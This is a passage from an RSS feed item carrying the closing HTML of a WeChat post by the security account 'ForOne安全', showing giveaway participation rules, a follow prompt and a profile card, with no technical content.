leaf="">注意：抽奖参与要求！！！</span></h3><ol style="margin-left: 0;color: #3f3f3f;padding-left: 1.5em;" class="list-paddingleft-1"><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p style="text-align: center;"><span style="background-color: rgb(0, 143, 226);padding: 2px 4px;border-radius: 2px;color: rgb(255, 255, 255);"><span leaf="">关注公众号</span></span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p style="text-align: center;"><span style="background-color: rgb(0, 143, 226);padding: 2px 4px;border-radius: 2px;color: rgb(255, 255, 255);"><span leaf="">此条推文不设分组（也不屏蔽所有人）并转发至朋友圈</span></span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p style="text-align: center;"><span style="background-color: rgb(0, 143, 226);padding: 2px 4px;border-radius: 2px;color: rgb(255, 255, 255);"><span leaf="">开奖后转发无效，兑奖前不可删除</span></span></p></li><li style="display: block;color: #3f3f3f;margin: 0.5em 8px;"><p style="text-align: center;"><span style="background-color: rgb(0, 143, 226);padding: 2px 4px;border-radius: 2px;color: rgb(255, 255, 255);"><span leaf="">领奖时添加好友核实</span></span></p></li></ol><hr style="border-style: solid;border-width: 2px 0 0;border-color: rgba(0, 0, 0, 0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);height: 1px;border: none;margin: 2em 0;background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><span leaf="">关注公众号 </span><strong style="color: rgb(0, 143, 226);font-weight: bold;font-size: inherit;"><span leaf="">【ForOne安全】</span></strong></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><span leaf="">获取课程消息、抽奖活动与更多原创实战技术文章~</span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="ForOne安全" data-alias="forone_sec" data-from="1" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/zKUvl7Qjx3CdoI0J9TbcqT2Ribg6icSdtKRicZL2ze8f1xv4MJQNAPnClBxFUoBTTtEljsDSBEYbpQALAaPyvlV9w/0?wx_fmt=png" data-signature="关注网络安全相关知识，欢迎一起讨论并成长" data-id="MzI2MjQ2NTUxNQ==" data-is_biz_ban="0"></mp-common-profile></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><span leaf="">期待在安全江湖里，遇见更多满怀热忱、并始终前行的伙伴</span></p><p style="margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);text-align: center;"><span leaf="">感谢大家的支持～</span></p></div><p class="mp_common_sticker_iframe_wrp" nodeleaf=""><mp-common-sticker data-pluginname="emotion" data-md5="dbdbeddb86d851f6b31ca2880fa95c94" data-emoji_url="https://mmbiz.qpic.cn/mmbiz_gif/1nbqyYvGrhIPrjJoqp45ThdUmZq6iaPH7jwqfSnqU300bn0eiaghJibpqibzoVlGY3l0XAQRe1JB3K4iajcIZLOaibsDQo5EytbHejL0tyzhSo7icw/0" data-is_ban="0" data-type="1" data-loading="0" data-error="0" data-inserted="1"></mp-common-sticker></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09132fc8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499559%26idx%3D1%26sn%3D7fd4a89208ff6273295d9b24d9d25833">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 09 Jun 2026 12:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>